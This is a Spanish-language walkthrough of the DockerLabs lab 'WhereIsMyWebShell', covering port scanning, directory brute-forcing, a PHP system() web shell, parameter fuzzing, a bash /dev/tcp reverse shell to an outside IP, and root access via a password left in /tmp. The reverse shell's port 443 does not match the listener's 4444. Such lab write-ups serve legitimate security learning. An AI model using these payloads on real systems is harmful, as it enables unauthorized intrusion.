miguel@home:~$

WhereIsMyWebShell - DockerLabs

OS Dificultad Creator
Linux Fácil El Pingüino de Mario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 80 (HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
    nmap -p80 -sCV 172.17.0.2 -oG targeted
    

    image

Exploración Web

Al analizar el puerto 80, encontramos una página de una academia de inglés.

image

En la página, encontramos el mensaje:

Guardo un secretito en /tmp ;).

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Encontramos dos archivos relevantes: warning.html y shell.php.

Explorando warning.html nos da pista sobre que shell.php tiene que tener una estructurura similar a esta:

image

<?php
	system($_GET['shell']);
?>

Sin embargo, desconocemos el nombre del parámetro correcto para enviar comandos. Usamos wfuzz para identificarlo:

wfuzz -c --hl 0 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/shell.php?FUZZ=id"

image

Descubrimos que el parámetro parameter permite la ejecución de comandos. Probamos el comando id y confirmamos la existencia de una ejecución remota de comandos (RCE).

image

Reverse Shell

Aprovechamos el RCE para iniciar una reverse shell. En la URL sustituimos el comando id por lo siguiente:

bash -c "bash -i >%26 /dev/tcp/192.168.10.150/443 0>%261"

Simultáneamente, iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:

nc -lvnp 4444

Al acceder a la reverse shell desde el navegador, logramos obtener acceso como www-data. image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Escalada de Privilegios

Recordando el mensaje sobre /tmp, accedemos a este directorio:

ls -la

Encontramos un archivo oculto llamado .secret.txt que contiene la contraseña de root.

image

Usamos esta contraseña para acceder como root:

su root

Finalmente, obtenemos acceso como root.

image